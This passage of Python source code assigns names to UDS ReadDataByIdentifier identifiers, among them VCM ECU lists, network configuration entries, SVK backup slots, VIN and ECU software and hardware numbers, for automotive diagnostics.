"VcmVehicleProfile" UDS_RDBI.dataIdentifiers[0x3F0A] = "VcmEcuListDiffProg" UDS_RDBI.dataIdentifiers[0x3F0B] = "VcmEcuListNgsc" UDS_RDBI.dataIdentifiers[0x3F0C] = "VcmEcuListCodingRelevant" UDS_RDBI.dataIdentifiers[0x3F0D] = "VcmEcuListFlashable" UDS_RDBI.dataIdentifiers[0x3F0E] = "VcmEcuListKCan" UDS_RDBI.dataIdentifiers[0x3F0F] = "VcmEcuListBodyCan" UDS_RDBI.dataIdentifiers[0x3F10] = "VcmEcuListSFCan" UDS_RDBI.dataIdentifiers[0x3F11] = "VcmEcuListMost" UDS_RDBI.dataIdentifiers[0x3F12] = "VcmEcuListFaCan" UDS_RDBI.dataIdentifiers[0x3F13] = "VcmEcuListFlexray" UDS_RDBI.dataIdentifiers[0x3F14] = "VcmEcuListACan" UDS_RDBI.dataIdentifiers[0x3F15] = "VcmEcuListIso14229" UDS_RDBI.dataIdentifiers[0x3F16] = "VcmEcuListSCan" UDS_RDBI.dataIdentifiers[0x3F17] = "VcmEcuListEthernet" UDS_RDBI.dataIdentifiers[0x3F18] = "VcmEcuListDCan" UDS_RDBI.dataIdentifiers[0x3F19] = "VcmVcmIdentification" UDS_RDBI.dataIdentifiers[0x3F1A] = "VcmSvtVersion" UDS_RDBI.dataIdentifiers[0x3f1b] = "vehicleOrder_3F00_3FFE" UDS_RDBI.dataIdentifiers[0x3f1c] = "FA_Teil1" UDS_RDBI.dataIdentifiers[0x3f1d] = "FA_Teil2" UDS_RDBI.dataIdentifiers[0x3fff] = "changeIndexOfCodingData" UDS_RDBI.dataIdentifiers[0x4000] = "GWTableVersion" UDS_RDBI.dataIdentifiers[0x4001] = "WakeupSource" UDS_RDBI.dataIdentifiers[0x4020] = "StatusLearnFlexray" UDS_RDBI.dataIdentifiers[0x4021] = "StatusFlexrayPath" UDS_RDBI.dataIdentifiers[0x4030] = "EthernetRegisters" UDS_RDBI.dataIdentifiers[0x4031] = "EthernetStatusInformation" UDS_RDBI.dataIdentifiers[0x403c] = "STATUS_CALCVN_EA" UDS_RDBI.dataIdentifiers[0x4040] = "DemLockingMasterState" UDS_RDBI.dataIdentifiers[0x4050] = "AmbiguousRoutings" UDS_RDBI.dataIdentifiers[0x4080] = "AirbagLock_NEU" UDS_RDBI.dataIdentifiers[0x4140] = "BodyComConfig" UDS_RDBI.dataIdentifiers[0x4ab4] = "Betriebsstundenzaehler" UDS_RDBI.dataIdentifiers[0x5fc2] = "WDBI_DME_ABGLEICH_PROG_REQ" UDS_RDBI.dataIdentifiers[0xd114] = "Gesamtweg-Streckenzaehler Offset" UDS_RDBI.dataIdentifiers[0xd387] = "STATUS_DIEBSTAHLSCHUTZ" UDS_RDBI.dataIdentifiers[0xdb9c] = "InitStatusEngineAngle" UDS_RDBI.dataIdentifiers[0xEFE9] = "WakeupRegistry" UDS_RDBI.dataIdentifiers[0xEFE8] = "ClearWakeupRegistry" UDS_RDBI.dataIdentifiers[0xf000] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf001] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf002] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf003] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf004] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf005] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf006] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf007] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf008] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf009] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00a] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00b] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00c] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00d] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00e] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf00f] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 UDS_RDBI.dataIdentifiers[0xf010] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf011] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf012] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf013] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf014] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf015] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf016] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf017] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf018] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf019] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf01f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf020] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf021] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf022] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf023] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf024] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf025] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf026] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf027] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf028] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf029] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf02f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf030] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf031] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf032] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf033] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf034] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf035] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf036] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf037] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf038] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf039] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf03f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf040] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf041] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf042] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf043] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf044] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf045] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf046] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf047] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf048] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf049] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf04f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf050] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf051] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf052] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf053] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf054] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf055] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf056] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf057] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf058] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf059] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf05f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf060] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf061] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf062] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf063] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf064] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf065] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf066] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf067] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf068] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf069] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf06f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf070] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf071] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf072] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf073] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf074] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf075] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf076] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf077] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf078] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf079] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf07f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf080] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf081] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf082] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf083] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf084] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf085] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf086] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf087] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf088] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf089] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf08f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf090] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf091] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf092] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf093] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf094] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf095] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf096] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf097] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf098] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf099] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09a] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09b] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09c] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09d] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09e] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf09f] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0a9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0aa] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ab] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ac] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ad] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ae] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0af] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0b9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ba] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0be] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0bf] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0c9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ca] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ce] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0cf] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0d9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0da] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0db] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0dc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0dd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0de] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0df] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0e9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ea] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0eb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ec] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ed] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ee] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ef] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f0] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f1] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f2] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f3] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f4] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f5] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f6] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f7] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f8] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0f9] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fa] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fb] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fc] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fd] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0fe] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf0ff] = "networkConfigurationData" UDS_RDBI.dataIdentifiers[0xf100] = "activeSessionState" UDS_RDBI.dataIdentifiers[0xF101] = "SVKCurrent" UDS_RDBI.dataIdentifiers[0xF102] = "SVKSystemSupplier" UDS_RDBI.dataIdentifiers[0xF103] = "SVKFactory" UDS_RDBI.dataIdentifiers[0xf104] = "SVK_Backup_01" UDS_RDBI.dataIdentifiers[0xf105] = "SVK_Backup_02" UDS_RDBI.dataIdentifiers[0xf106] = "SVK_Backup_03" UDS_RDBI.dataIdentifiers[0xf107] = "SVK_Backup_04" UDS_RDBI.dataIdentifiers[0xf108] = "SVK_Backup_05" UDS_RDBI.dataIdentifiers[0xf109] = "SVK_Backup_06" UDS_RDBI.dataIdentifiers[0xf10a] = "SVK_Backup_07" UDS_RDBI.dataIdentifiers[0xf10b] = "SVK_Backup_08" UDS_RDBI.dataIdentifiers[0xf10c] = "SVK_Backup_09" UDS_RDBI.dataIdentifiers[0xf10d] = "SVK_Backup_10" UDS_RDBI.dataIdentifiers[0xf10e] = "SVK_Backup_11" UDS_RDBI.dataIdentifiers[0xf10f] = "SVK_Backup_12" UDS_RDBI.dataIdentifiers[0xf110] = "SVK_Backup_13" UDS_RDBI.dataIdentifiers[0xf111] = "SVK_Backup_14" UDS_RDBI.dataIdentifiers[0xf112] = "SVK_Backup_15" UDS_RDBI.dataIdentifiers[0xf113] = "SVK_Backup_16" UDS_RDBI.dataIdentifiers[0xf114] = "SVK_Backup_17" UDS_RDBI.dataIdentifiers[0xf115] = "SVK_Backup_18" UDS_RDBI.dataIdentifiers[0xf116] = "SVK_Backup_19" UDS_RDBI.dataIdentifiers[0xf117] = "SVK_Backup_20" UDS_RDBI.dataIdentifiers[0xf118] = "SVK_Backup_21" UDS_RDBI.dataIdentifiers[0xf119] = "SVK_Backup_22" UDS_RDBI.dataIdentifiers[0xf11a] = "SVK_Backup_23" UDS_RDBI.dataIdentifiers[0xf11b] = "SVK_Backup_24" UDS_RDBI.dataIdentifiers[0xf11c] = "SVK_Backup_25" UDS_RDBI.dataIdentifiers[0xf11d] = "SVK_Backup_26" UDS_RDBI.dataIdentifiers[0xf11e] = "SVK_Backup_27" UDS_RDBI.dataIdentifiers[0xf11f] = "SVK_Backup_28" UDS_RDBI.dataIdentifiers[0xf120] = "SVK_Backup_29" UDS_RDBI.dataIdentifiers[0xf121] = "SVK_Backup_30" UDS_RDBI.dataIdentifiers[0xf122] = "SVK_Backup_31" UDS_RDBI.dataIdentifiers[0xf123] = "SVK_Backup_32" UDS_RDBI.dataIdentifiers[0xf124] = "SVK_Backup_33" UDS_RDBI.dataIdentifiers[0xf125] = "SVK_Backup_34" UDS_RDBI.dataIdentifiers[0xf126] = "SVK_Backup_35" UDS_RDBI.dataIdentifiers[0xf127] = "SVK_Backup_36" UDS_RDBI.dataIdentifiers[0xf128] = "SVK_Backup_37" UDS_RDBI.dataIdentifiers[0xf129] = "SVK_Backup_38" UDS_RDBI.dataIdentifiers[0xf12a] = "SVK_Backup_39" UDS_RDBI.dataIdentifiers[0xf12b] = "SVK_Backup_40" UDS_RDBI.dataIdentifiers[0xf12c] = "SVK_Backup_41" UDS_RDBI.dataIdentifiers[0xf12d] = "SVK_Backup_42" UDS_RDBI.dataIdentifiers[0xf12e] = "SVK_Backup_43" UDS_RDBI.dataIdentifiers[0xf12f] = "SVK_Backup_44" UDS_RDBI.dataIdentifiers[0xf130] = "SVK_Backup_45" UDS_RDBI.dataIdentifiers[0xf131] = "SVK_Backup_46" UDS_RDBI.dataIdentifiers[0xf132] = "SVK_Backup_47" UDS_RDBI.dataIdentifiers[0xf133] = "SVK_Backup_48" UDS_RDBI.dataIdentifiers[0xf134] = "SVK_Backup_49" UDS_RDBI.dataIdentifiers[0xf135] = "SVK_Backup_50" UDS_RDBI.dataIdentifiers[0xf136] = "SVK_Backup_51" UDS_RDBI.dataIdentifiers[0xf137] = "SVK_Backup_52" UDS_RDBI.dataIdentifiers[0xf138] = "SVK_Backup_53" UDS_RDBI.dataIdentifiers[0xf139] = "SVK_Backup_54" UDS_RDBI.dataIdentifiers[0xf13a] = "SVK_Backup_55" UDS_RDBI.dataIdentifiers[0xf13b] = "SVK_Backup_56" UDS_RDBI.dataIdentifiers[0xf13c] = "SVK_Backup_57" UDS_RDBI.dataIdentifiers[0xf13d] = "SVK_Backup_58" UDS_RDBI.dataIdentifiers[0xf13e] = "SVK_Backup_59" UDS_RDBI.dataIdentifiers[0xf13f] = "SVK_Backup_60" UDS_RDBI.dataIdentifiers[0xf140] = "SVK_Backup_61" UDS_RDBI.dataIdentifiers[0xf150] = "SGBDIndex" UDS_RDBI.dataIdentifiers[0xf15a] = "fingerprint" UDS_RDBI.dataIdentifiers[0xf180] = "bootSoftwareIdentification" UDS_RDBI.dataIdentifiers[0xf181] = "applicationSoftwareIdentification" UDS_RDBI.dataIdentifiers[0xf182] = "applicationDataIdentification" UDS_RDBI.dataIdentifiers[0xf183] = "bootSoftwareFingerprint" UDS_RDBI.dataIdentifiers[0xf184] = "applicationSoftwareFingerprint" UDS_RDBI.dataIdentifiers[0xf185] = "applicationDataFingerprint" UDS_RDBI.dataIdentifiers[0xf186] = "activeDiagnosticSession" UDS_RDBI.dataIdentifiers[0xf187] = "vehicleManufacturerSparePartNumber" UDS_RDBI.dataIdentifiers[0xf188] = "vehicleManufacturerECUSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf189] = "vehicleManufacturerECUSoftwareVersionNumber" # noqa E501 UDS_RDBI.dataIdentifiers[0xf18a] = "systemSupplierIdentifier" UDS_RDBI.dataIdentifiers[0xf18b] = "ECUManufacturingDate" UDS_RDBI.dataIdentifiers[0xf18c] = "ECUSerialNumber" UDS_RDBI.dataIdentifiers[0xf18d] = "supportedFunctionalUnits" UDS_RDBI.dataIdentifiers[0xf190] = "VIN" UDS_RDBI.dataIdentifiers[0xf191] = "vehicleManufacturerECUHardwareNumber" UDS_RDBI.dataIdentifiers[0xf192] = "systemSupplierECUHardwareNumber" UDS_RDBI.dataIdentifiers[0xf193] = "systemSupplierECUHardwareVersionNumber" UDS_RDBI.dataIdentifiers[0xf194] = "systemSupplierECUSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf195] = "systemSupplierECUSoftwareVersionNumber" UDS_RDBI.dataIdentifiers[0xf196] = "exhaustRegulationOrTypeApprovalNumber" UDS_RDBI.dataIdentifiers[0xf197] = "systemNameOrEngineType" UDS_RDBI.dataIdentifiers[0xf198] = "repairShopCodeOrTesterSerialNumber" UDS_RDBI.dataIdentifiers[0xf199] = "programmingDate" UDS_RDBI.dataIdentifiers[0xf19a] = "calibrationRepairShopCodeOrCalibrationEquipmentSerialNumber" # noqa E501 UDS_RDBI.dataIdentifiers[0xf19b] = "calibrationDate" UDS_RDBI.dataIdentifiers[0xf19c] = "calibrationEquipmentSoftwareNumber" UDS_RDBI.dataIdentifiers[0xf19d] = "ECUInstallationDate" UDS_RDBI.dataIdentifiers[0xf19e] = "ODXFileIdentifier" UDS_RDBI.dataIdentifiers[0xf19f] = "entityIdentifier" UDS_RDBI.dataIdentifiers[0xf200] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf201] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf202] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf203] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf204] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf205] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf206] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf207] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf208] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf209] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf20f] = 